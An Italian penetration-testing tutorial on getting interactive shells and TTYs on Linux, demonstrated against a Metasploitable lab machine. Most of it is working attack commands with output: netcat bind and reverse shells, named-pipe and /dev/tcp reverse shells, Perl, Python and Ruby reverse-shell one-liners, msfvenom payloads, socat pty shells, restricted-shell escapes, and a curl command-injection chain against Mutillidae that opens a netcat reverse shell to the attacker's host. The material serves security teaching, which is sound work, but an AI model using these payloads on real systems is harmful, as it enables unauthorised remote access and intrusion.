Penetration Testing – Ottenere Shell e TTY su Linux

Cosa accomuna Super Mario ai Penetration Test? Se pensiamo a Super Mario, i tubi e i loro terminali (pipe / terminali) e i gusci di tartaruga (shell) e la Nintendo (console) sono all’ordine del giorno. A cosa servono invece terminali, shell e console in un Penetration Test? Durante un attacco, quando siamo in Post-Exploitation e possiamo eseguire i comandi sulla macchina bersaglio attraverso una vulnerabilità web (normalmente delle Remote Code Execution – RCE) o tramite un exploit, solitamente necessitiamo di: una shell e un terminale/console. Inoltre (ma ne parleremo in un altro post) la possibilità di trasferire file. Questi elementi ci permettono di eseguire i passi successivi come Privilege Escalation, Persistenza e Pivoting.

Molto dipende dallo scopo del test e dalle regole di ingaggio, ma di norma presa una macchina con accesso locale non privilegiato si esegue una fase di enumeration per avere abbastanza informazioni per alzare i propri privilegi (Privilege Escalation), quindi poi si lavora su persistenza e pivoting (i celeberrimi movimenti laterali). In questo articolo ci focalizzeremo su come ottenere una shell interattiva su Linux.

A livello metodologico

Secondo il PTES siamo nella fase di Post Exploitaion subito dopo aver eseguito l’Exploitation e ci stiamo preparando per ulteriori operazioni, mentre per il NIST siamo nel cuore della fase di Attacco (Attack) e stiamo consolidando il nostro accesso (Gain Access) per poter procedere.  Ovviamente le procedure utilizzate a vedere dipendono anzitutto dalla tipologia di sistema operativo su cui stiamo lavorando (p.e Windows o Linux), dai software già presenti (p.e. netcat, per dire un nome a caso) e da come il tutto è configurato (p.e. il firewall locale).

A livello OWASP, in particolare pensando alla Testing Guide v4 questi aspetti non sono trattati, ma sono la diretta conseguenza dello sfruttamento con successo di elementi come OS Command Injection, File Inclusion o fortunati casi di SQL Injection (è doveroso menzionare anche i Cross Site Scripting: un attaccante potrebbe sfruttarli per recuperare cookie di sessione di un admin che ha accesso alla console web di amministrazione di un web server e quindi deployare webshell).

Ovviamente ci sono un grande numero di modi per ottenere shell e terminali e la modalità dipende dal Penetration Tester e dal test stesso. Gli approcci più comuni sono due: l’utilizzo di elementi già presenti sul sistema (p.e. strumenti, interpreti) oppure il caricamento di altri strumenti già compilati o da compilare (per questo punto ovviamente c’è bisogno della presenza del compilatore), di script personalizzati (quindi servirà poter trasferire i file) e di una modalità di trasferimento file.

Normalmente si considera più “pulito” l’utilizzo di quanto già esistente alterando il meno possibile la macchina vittima – il caricamento di un file implica la modifica del filesystem – ma dall’altro lato potrebbe essere più pratico avere un set di strumenti e procedure già pronte che “funzionano sempre” o “nella maggior parte dei casi”.

L’importante è ricordarsi – pensando al discorso APT – che le TTP (Tactics, Tools, Procedures) di un Penetration Tester possono essere mappate e quindi utilizzate nel processo di “attribution” (attribuzione) della sorgente di un attacco. Avere uno script personalizzato che fa tutto il lavoro per noi è estremamente comodo ma diventa poi anche la nostra “firma”, e non sempre è bene.

Differenze tra shell e terminale, perché ci serve una shell interattiva.

Normalmente, la prima cosa che si fa lanciando dei comandi, è la creazione di una shell. Ma abbiamo anche il concetto di terminale. Shell e Terminale sono due cose diverse. La shell è un modo che abbiamo per inviare dei comandi al sistema operativo così da farli eseguire e leggerne i risultati (p.e. Standard Input e Standard output), mentre un Terminale è qualcosa di più. Il terminale è quello che solitamente otteniamo collegandoci tramite porta seriale ad un apparato – appunto TTY (teletype) o  tramite telnet o SSH – ottenendo una PTY (pseudo-terminal)  che è una TTY emulata.

Questo tipo di accesso “interattivo” permette di utilizzare programmi che richiedono un particolare utilizzo dell’I/O come usare i comandi sudo e su che richiedono l’inserimento interattivo di una password e anche alcuni exploit. Possiamo fare questa verifica tramite il comando tty, come vedremo dopo nell’articolo, e se ci da esito negativo possiamo usare dei comandi così da avere un terminale. Facciamo un esempio:

sh: no job control in this shell
sh-3.2$ tty
not a tty

In questo caso il sistema ci dice che non siamo in una tty ed è quindi necessario capire come ottenere un accesso terminale. Possiamo usare due approcci: trasformare la shell in un terminale (pty)  oppure usare dei workaround per operazioni specifiche (e di questo ne parliamo in fondo al post).

Shell

Riguardo le shell ce ne sono di diverse tipologie, la suddivisione principale che viene fatta è per modalità di connessione:

  • Bind Shell, dove  mettiamo in ascolto una porta sulla vittima (appunto viene eseguito il bind su una porta), quindi una volta messa in ascolto la porta ci collegheremo dalla macchina attaccante.
  • Reverse Shell, dove mettiamo in ascolto una porta sulla macchina attaccante, e quindi diciamo alla macchina vittima di collegarsi alla macchina attaccante (appunto reverse).

Questi sono i due casi più semplici che normalmente si hanno nelle attività di Network Penetration Test interno, mentre in caso di sistemi isolati o Penetration Test dall’esterno potrebbe essere necessario trovare metodi alternativi per creare una shell quindi incapsulando il traffico in altri protocolli (p.e. HTTP, DNS) o strutturando dei sistemi di Comando e Controllo (C2) più fantasiosi. Eseguire Test in ambienti limitati permette di usare una delle caratteristiche principali di un Penetration Tester, il pensare fuori dalle righe o – come direbbero gli inglesi – Out of the Box.

Tornando alle shell, quando pensiamo a come ottenere la shell il primo comando che ci viene in mente è sicuramente netcat :). netcat è particolarmente comodo in quanto è installato di default sulle varie distribuzioni di linux.

Per fare queste prove stiamo sempre usando la Kali attaccante (192.168.100.104) e la Metasploitable vittima (192.168.100.103). Per eseguire le prove utilizziamo quindi il nostro accesso SSH sulla Kali e, sempre il SSH sulla Metasploitable, utilizzando le credenziali di default msfadmin:msfadmin. Importante: presupponiamo di avere nel PATH tutto quello di cui necessitiamo, si può fare una verifica con which e cercarli con find o locate.

Netcat Bind Shell con -e

Eseguiamo questo comando sulla macchina vittima (192.168.100.103), mettiamo in ascolto sulla porta 4444, quella canonica di Metasploit. Utilizziamo l’opzione -e per eseguire un file, nel nostro caso /bin/sh, quando qualcuno si collega:

$ nc -nlvp 4444 -e /bin/sh
listening on [any] 4444 ...

E successivamente eseguiamo dalla macchina attaccante (192.168.100.104) un netcat sulla porta 4444 e proviamo ad eseguire “id”:

# nc 192.168.100.103 4444
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Ovviamente tornati sulla macchina vittima (192.168.100.103) possiamo vedere la connessione:

connect to [192.168.100.103] from (UNKNOWN) [192.168.100.104] 57236

Quando si utilizzano delle shell bind, in generale è importante ricordarsi che solo gli utenti con privilegi possono aprire porte “basse”  ed in generale è più probabile che queste siano aperte sui firewall rispetto porte alte. Quindi se proviamo a tirare su una shell bind su un porta bassa e non vediamo poi la porta in ascolto, uno dei motivi potrebbe essere il fatto di non avere i permessi per farlo. Oltre all’opzione -e possiamo utilizzare anche l’opzione -c, che al posto di un file esegue una stringa passandola in “/bin/sh -c”.

Netcat Reverse Shell con -e

Allo stesso modo possiamo fare una shell con netcat ma di tipo reverse, quindi non abbiamo bisogno di mettere in ascolto una porta sulla macchina vittima ma la facciamo collegare a noi. Questo può essere utile, ad esempio ascoltando su una porta bassa così da non creare troppi problemi con eventuali firewall che, in generale, sono configurati (erroneamente 🙂 ) in maniera più permissiva per il traffico uscente.

Metteremo quindi un listener sulla macchina attaccante (192.168.100.104), tendendo sempre in ascolto la porta canonica di cui sopra:

# nc -nlvp 4444
listening on [any] 4444 ...

E chiederemo alla macchina vittima (192.168.100.103) di collegarsi a noi, eseguendo dopo l’esecuzione sempre /bin/sh:

$ nc 192.168.100.104 4444 -e /bin/sh

Sulla macchina attaccante possiamo quindi eseguire :

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 33137
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Netcat Reverse Shell senza -e ma con una named pipe

Se quando è stato compilato netcat, non è stata definita l’opzione GAPING_SECURITY_HOLE, netcat non avrà l’opzione -e. Se abbiamo quindi netcat ma senza il -e è necessario trovare una via alternativa per eseguire la nostra shell.

Una delle vie alternative è ben descritta da Ed Skoudis [1] che in un articolo spiega l’utilizzo del comando mknod o mkfifo [2] a questo scopo. Viene infatti creata una “named pipe” di tipo FIFO (First In, First Out), cioè una pipe che ha un nome come se fosse un file (dopotutto su linux tutto è un file). Una pipe, su linux come su windows, è letteralmente un “tubo” o un “condotto” che permette  la comunicazione tra più processi incanalando ed incrociando i loro flussi  (p.e. lo standard output di un processo può essere riversato come input di un altro processo). Questo va fatto con molta attenzione, citando Harold Ramis (Egon) in Ghostbusters: “Mai incrociare i flussi. Sarebbe molto male” ma se ben fatto può essere usato per avere la shell.

Sulla macchina attaccante (192.168.100.104) mettiamo il nostro listener:

# nc -nlvp 4444
listening on [any] 4444 ...

Mentre sulla macchina vittima (192.168.100.103) facciamo la nostra pipe, richiamando con netcat il nostro listener:

$ rm /tmp/backpipe; mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc 192.168.100.104 4444 1>/tmp/backpipe

In questo caso anzitutto cancelliamo l’eventuale pipe rimasta (magari da un tentativo precedente), quindi creiamo una pipe con mknod e con il “p” specifichiamo appunto una FIFO. Quindi viene chiamata una shell con /bin/sh/ prendendo il suo standard input da una pipe (appunto 0</tmp/backpipe) e mettendo l’output in pipe con netcat (| nc 192.168.100.104 444) che viene poi reinserito nella pipe ( 1>/tmp/backpipe). Ovviamente in questo caso stiamo presupponendo che l’utente che sta eseguendo il comando abbia accesso in lettura/scrittura su /tmp e che sia presente /bin/sh.

Quindi tornando sulla macchina attaccante (192.168.100.104) abbiamo la nostra shell:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 58574
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Effettivamente questa è la nostra modalità preferita.

Netcat Bind Shell senza -e ma con una named pipe

Possiamo utilizzare la stessa modalità con una bind shell, in questo caso sulla macchina vittima (192.168.100.103).

$ rm /tmp/backpipe; mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc -nlvp 4444 1>/tmp/backpipe
listening on [any] 4444 ...

E sulla macchina attaccante (192.168.100.104):

# nc 192.168.100.103 4444
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Reverse shell senza netcat ma con /dev/tcp

Sulla macchina vittima potrebbe anche non essere presente netcat, quindi è necessario attrezzarsi con quello che si ha. Sempre Ed Skoudis presenta un altro metodo possibile senza l’ausilio di netcat ma con la necessità che bash sia compilata col supporto per /dev/tcp (quindi senza il –disable-net-redirections), anche in questo caso redirezioniamo il flusso sul file che può essere utilizzato per aprire delle socket corrispondenti su un determinato host <host> e porta <port> nel formato /dev/tcp/host/port.

Sulla macchina attaccante mettiamo un listener:

# nc -nvlp 4444
listening on [any] 4444 ...

E sulla macchina bersaglio lanciamo il comando:

# /bin/bash -i >& /dev/tcp/192.168.100.104/4444 0>&1

Quindi sulla macchina attaccante vedremo direttamente la shell (interattiva):

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.104] 60470
msfadmin@metasploitable:~# id
id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Shell alternative (Perl, Python, Ruby e msfvenom)

Se non abbiamo a disposizione netcat o /dev/tcp possiamo verificare la presenza di eventuali linguaggi interpretati per poter eseguire la nostra shell. Le shell sui linguaggi interpretati possono essere eseguite in due modalità principali. Da un lato possono utilizzare le funzioni native del linguaggio (normalmente le socket) per eseguire la connessione e richiamare poi un comando, tipicamente /bin/sh.

Perl

Dalla macchina attaccante va eseguito il listener:

# nc -nvlp 4444
listening on [any] 4444 ...

Quindi dalla macchina vittima eseguire il comando che segue (è importante notare che il socket utilizzato è quello di perl mentre il comando lanciato è /bin/sh, quindi deve essere presente):

$ perl -e 'use Socket;$i="192.168.100.104";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Dalla macchina attaccante possiamo vedere la connessione:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 43820
sh-3.2$

Python

Dalla macchina attaccante va eseguito il listener:

# nc -nvlp 4444
listening on [any] 4444 ...

Quindi dalla macchina vittima eseguire il comando che segue (è importante notare che il socket utilizzato è quello di python mentre il comando lanciato è /bin/sh, quindi deve essere presente):

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.104",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Dalla macchina attaccante possiamo vedere la connessione:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 37660 sh: no job control in this shell sh-3.2$

Ruby

Dalla macchina attaccante:

# nc -nvlp 4444
listening on [any] 4444 ...

Dalla macchina vittima:

$ ruby -rsocket -e'f=TCPSocket.open("192.168.100.104",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Quindi dalla macchina attaccante vediamo la connessione:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 36195
sh: no job control in this shell
sh-3.2$

Ovviamente è possibile fare reverse shell in Java, Telnet, Xterm. Una lista ottima e piuttosto completa è presente su PenTestMonkey [3] e sul blog di Bernardo Damele A. G. [4], tutto dipende da cosa troviamo sulla macchina vittima.

msfvenom

E’ inoltre possibile utilizzare msfvenom per generare le shell, ce ne sono diversi ed è importante sempre leggerli in quando devono di solito essere adattati al contesto specifico della macchina vittima. Per esempio quella con python, codificata in base64:

# msfvenom -p cmd/unix/reverse_python LHOST=192.168.100.104 LPORT=4444 -f raw
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 597 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAsICAgICAgICAgc3VicHJvY2VzcyAgICAsICAgICAgICAgb3MgICA7ICAgICAgICAgaG9zdD0iMTkyLjE2OC4xMDAuMTA0IiAgIDsgICAgICAgICBwb3J0PTQ0NDQgICA7ICAgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICwgICAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsICAgICAgICAgcG9ydCkpICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsICAgICAgICAgMCkgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgICAgICAgICAxKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAgICAgICAgIDIpICAgOyAgICAgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

Come ben sappiamo, anche se c’è una certa fiducia per quanto prodotto dalla suite di metasploit, possiamo decodificare il base64 prodotto da msfvenom per vedere come funziona. Facendo l’echo del base64 e mettendolo in pipe con base64 –decode possiamo decodificare la shell e vediamo che anche in questo caso è molto simile a quella in Python già indicata.

# echo "aW1wb3J0IHNvY2tldCAgICAsICAgICAgICAgc3VicHJvY2VzcyAgICAsICAgICAgICAgb3MgICA7ICAgICAgICAgaG9zdD0iMTkyLjE2OC4xMDAuMTA0IiAgIDsgICAgICAgICBwb3J0PTQ0NDQgIQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICwgICAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsICAgICAgICAgcG9ydCkpICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsICAgICAgICAgMCkgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgICAgICAgICAxKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAgICAgICAgIDIpICAgOyAgICAgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==" | base64 --decode
import socket , subprocess , os ; host="192.168.100.104" ; port=4444 ; s=socket.socket(socket.AF_INET , socket.SOCK_STREAM) ; s.connect((host , port)) ; os.dup2(s.fileno() , 0) ; os.dup2(s.fileno() , 1) ; os.dup2(s.fileno() , 2) ; p=subprocess.call("/bin/bash")

E’ anche presente una shell in Perl (che utilizza il /dev/tcp che abbiamo già visto):

# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.100.104 LPORT=4444 -f raw
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
0<&81-;exec 81<>/dev/tcp/192.168.100.104/4444;sh <&81 >&81 2>&81

Shell con socat

Altro strumento estremamente utile e che possiamo anche trovare preinstallato su diverse distribuzioni è socat. Socat (deriva da SOcket cat) equivale a netcat sotto steroidi 🙂 Come possiamo leggere dal man, si tratta di un relay con diverse funzionalità che si occupa di stabilire due byte-stream bidirezionali su cui trasferisce i dati. E’ uno strumento piuttosto complesso che supporta un gran numero di opzioni. Qui lo vediamo nelle sue funzionalità base.

Socat bind shell

Anzitutto vediamo come fare con socat la nostra classica bind shell che normalmente viene fatta con netcat. Sulla macchina vittima eseguiamo:

$ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash

Stiamo chiedendo a socat di ascoltare sulla porta 4444 TCP, di abilitare le opzioni reuseaddr, fare dei fork del processo quando un client si collega (e a brevissimo vediamo perché è utile).

Sulla macchina attaccante dobbiamo anche qui usare socat:

# socat - TCP:192.168.100.103:4444
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(fldmin),119(sambashare),1000(msfadmin)
# ^C
(morte della shell)# socat - TCP:192.168.100.103:4444
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(fldmin),119(sambashare),1000(msfadmin)

Notiamo che CTRL+C ha portato alla disconnessione della macchina attaccante. Ma l’opzione fork è venuta in aiuto. Infatti se proviamo a ricollegarci, il socat sulla macchina bersaglio è sempre in ascolto.

Socat bind shell con pty

La potenza di socat è anche nel poter fare da terminale, semplicemente cambiando delle opzioni. Vediamo quindi come sulla macchina bersaglio:

$ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Quindi richiamiamo sempre le stesse opzioni ma aggiungiamo il pty (pseudo-terminale) e altre opzioni per gestire il flusso dei comandi.

Lanciamo sulla macchina attaccante socat per collegarci:

# socat - TCP:192.168.100.103:4444
msfadmin@metasploitable:~$ id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ tty
tty
/dev/pts/3
msfadmin@metasploitable:~$

Come vediamo ora abbiamo una tty.

Socat reverse shell con pty

Ovviamente possiamo anche fare una reverse shell. Anzitutto utilizziamo un listener sulla macchina attaccante:

# socat - TCP-LISTEN:4444

E lanciamo il comando in maniera simile a quello già fatto sulla macchina vittima, chiedendo però a socat di collegarsi alla nostra macchina attaccante:

$ socat TCP:192.168.100.104:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

E quindi tornando sul nostro listener abbiamo la nostra shell con terminale annesso.

msfadmin@metasploitable:~$ id
 id
 uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
 msfadmin@metasploitable:~$ tty
 tty
 /dev/pts/3
 msfadmin@metasploitable:~$

socat è molto di più e su web sono presenti diversi articoli di craSH [5] e Stalkr [6].

Trasformare la shell in terminale (TTY/PTY)

Per ottenere un terminale, sul sito di Peleus [7] è possibile trovare una lista piuttosto completa per avere una tty e inoltre uscire (escape) da shell limitate (per esempio lshell) tramite degli interpreti [8]:

  • Python da riga di comando: python -c ‘import pty; pty.spawn(“/bin/sh”)’
  • Dall’interno di python (p.e. quando si è in una shell limitata): echo os.system(‘/bin/bash’)
  • Lanciando bash in modalità interattiva: /bin/sh -i
  • Perl da riga di comando: perl -e ‘exec “/bin/sh”;’
  • Dall’interno di perl (p.e. quando si è in una shell limitata): exec “/bin/sh”;
  • Dall’interno di ruby (p.e. quando si è in una shell limitata): exec “/bin/sh”
  • Dall’interno della Interactive Ruby Shell – IRB – (p.e. quando si è in una shell limitata): os.execute(‘/bin/sh’)
  • Dall’interno di vi: !bash
  • Dall’interno di vi: set shell=/bin/bash:shell
  • Dall’interno di nmap: !sh

Lanciando infatti il primo comando indicato e’ possibile fare la verifica con il comando tty e vedere se ci da una risposta diversa.
E’ comunque importante ricordarsi che questa trasformazione – seppur molto comoda ed efficace – puo’ comunque dare problemi con alcuni comandi o editor di testo.

Una delle pty più pratiche è quella su python, pertanto se abbiamo già python installato sulla macchina, possiamo usarlo per fare una reverse shell già tty:

Sulla macchina attaccante mettiamo il listener:

# nc -nlvp 4444

Sulla macchina vittima lanciamo la nostra shell python però mettendo in spawn il pty, esattamente come nel primo esempio di Peleus:

$ python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.100.104 4444

Questo di darà direttamente una shell pty:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 33703
msfadmin@metasploitable:~$ id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ tty
tty
/dev/pts/3
msfadmin@metasploitable:~$

In caso non si riesca a usare una pty (ma spesso un modo si trova sempre ) allora:

  • Per modificare i file usiamo:
    • echo accodando poi l’input in un file
    • oppure tramite cat > file << EOF
  • Per leggere i file utilizzare cat

Esempio di come ottenere da una Remote Command Execution su PHP una shell con accesso TTY

E’ possibile utilizzare come esempio l’applicazione Mutillidae installata su Metasploitable [9]. La pagina vulnerabile è presente al seguente indirizzo di Metasploitable (192.168.100.103).

http://192.168.100.103/mutillidae/index.php?page=dns-lookup.php

La pagina, attraverso un parametro, permette di eseguire un DNS lookup liberamente, dalla risposta HTTP che possiamo osservare qui sotto è molto probabile che questo sia il risultato dell’output di un comando al sistema operativo e – vedendo l’utilizzo di PHP che sia utilizzata la funzione shell_exec(). Questa funzione, se non sottoposta a validazione dell’input, può permettere della Command Injection.


Nello specifico il codice restituito qui sotto sembra essere quello relativo al comando nslookup:

Server:		192.168.100.1
Address:	192.168.100.1#53

Non-authoritative answer:
Name:	example.com
Address: 93.184.216.34

E’ quindi lecito supporre che ci sia un comando PHP del tipo:

echo shell_exec('nslookup' . $_POST['parametro']);

Quindi è possibile ragionare su quali siano i caratteri che – se non verificati – possano portare ad una Command Injection. Un modo pratico è quello di riflettere sui comandi di Linux e in generale andando a leggere la documentazione di PHP si possono ottenere informazioni interessanti. Anzitutto la pagina di shell_excec [10] e la relativa funzione che andrebbe utilizzata per controllare i parametri passati escapeshellcmd() – e che ci auguriamo, come attaccanti, che non sia applicata. Nella documentazione [11] possiamo infatti leggere che:

  • I seguenti caratteri vengono preceduti da un backslash: &#;`|*?~<>^()[]{}$\.
  • I seguenti caratteri viene eseguito l’escape \x0A and \xFF .
  • I seguenti caratteri  e  viene eseguito l’escape solo se non sono in coppia.
  • I seguenti caratteri – su Windows – % e ! sono sostituiti da spazi.
Cominciamo osservando il caso base, via curl:
# curl -kis --data 'target_host=example.com&dns-lookup-php-submit-button=Lookup+DNS' 'http://192.168.100.103/mutillidae/index.php?page=dns-lookup.php' | grep example.com -A 3 <p class="report-header">Results for example.com<p><pre class="report-header" style="text-align:left;">Server: 192.168.100.1
Address: 192.168.100.1#53

Non-authoritative answer:
Name: example.com
Address: 93.184.216.34

</pre>
E quindi quello che possiamo ottenere utilizzando, per esempio, il carattere “;” che delimita appunto un comando:
# curl -kis --data 'target_host=example.com;id&dns-lookup-php-submit-button=Lookup+DNS' 'http://192.168.100.103/mutillidae/index.php?page=dns-lookup.php' | grep example.com -A 3 <p class="report-header">Results for example.com;id<p><pre class="report-header" style="text-align:left;">Server: 192.168.100.1
Address: 192.168.100.1#53

Non-authoritative answer:
Name: example.com
Address: 93.184.216.34

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Come possiamo vedere il nostro “id” ha funzionato, mostrandoci di fatto l’utente con cui gira l’interprete PHP. Il prossimo passo è ottenere una shell. Ovviamente sarà una shell limitata secondo l’utente con cui gira PHP ma è un primo passo per ottenere l’accesso al sistema.

Anzitutto è utile capire se netcat è presente nella macchina vittima e se è presente nel PATH (questo è un aspetto particolarmente importante, non sempre il PATH è configurato come vogliamo noi ed è tipico cercare il binario in cartelle note). Per cercare il binario possiamo anzitutto usare which:

# curl -kis --data 'target_host=example.com;which nc&dns-lookup-php-submit-button=Lookup+DNS' 'http://192.168.100.103/mutillidae/index.php?page=dns-lookup.php' | grep example.com -A 3
<p class="report-header">Results for example.com;which nc<p><pre class="report-header" style="text-align:left;">Server: 192.168.100.1
Address: 192.168.100.1#53

Non-authoritative answer:
Name: example.com
Address: 93.184.216.34

/bin/nc

In questo caso abbiamo netcat nella sua locazione di default. Il modo più veloce è utilizzare l’opzione -e di netcat che, come possiamo osservare dal man di netcat, permette di eseguire un file dopo la connessione. Ovviamente possiamo controllarla verificando con un “man nc” direttamente sulla macchina vittima. Se è il nostro caso allora sulla macchina attaccante possiamo usare un listener:

# nc -nlvp 4444

E quindi, sempre dalla macchina attaccante usare curl per chiedere alla macchina bersaglio di collegarsi al nostro listener:

# curl -kis --data 'target_host=example.com;nc 192.168.100.104 4444 -e /bin/sh&dns-lookup-php-submit-button=Lookup+DNS' 'http://192.168.100.103/mutillidae/index.php?page=dns-lookup.php'

Questo permette quindi di poter andare sul listener, potrebbe essere necessario del tempo prima che riceviamo la connessione, ed eseguire un id per verificare l’utente con cui siamo collegati:

connect to [192.168.100.104] from (UNKNOWN) [192.168.100.103] 52044
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

La prima operazione utile in questo caso è quella di rendere la shell interattiva. Possiamo verificare anzitutto se è presente python – controlliamo con which – è possibile usare:

which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/sh")'
sh-3.2$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh-3.2$
sh-3.2$ tty 
tty
tty /dev/pts/3

Abbiamo così la nostra shell interattiva. Dato che siamo con un utente non root procederemo a fare Privilege Escalation.

Riferimenti

[1] https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem

[2] https://twitter.com/edskoudis

[3] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[4] http://bernardodamele.blogspot.it/2011/09/reverse-shells-one-liners.html

[5] https://github.com/craSH/socat/blob/master/EXAMPLES

[6] https://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html

[7] https://twitter.com/0x42424242?lang=en

[8] https://netsec.ws/?p=337

[9] https://sourceforge.net/projects/metasploitable/

[10] http://php.net/manual/en/function.shell-exec.php

[11] http://php.net/manual/en/function.escapeshellcmd.php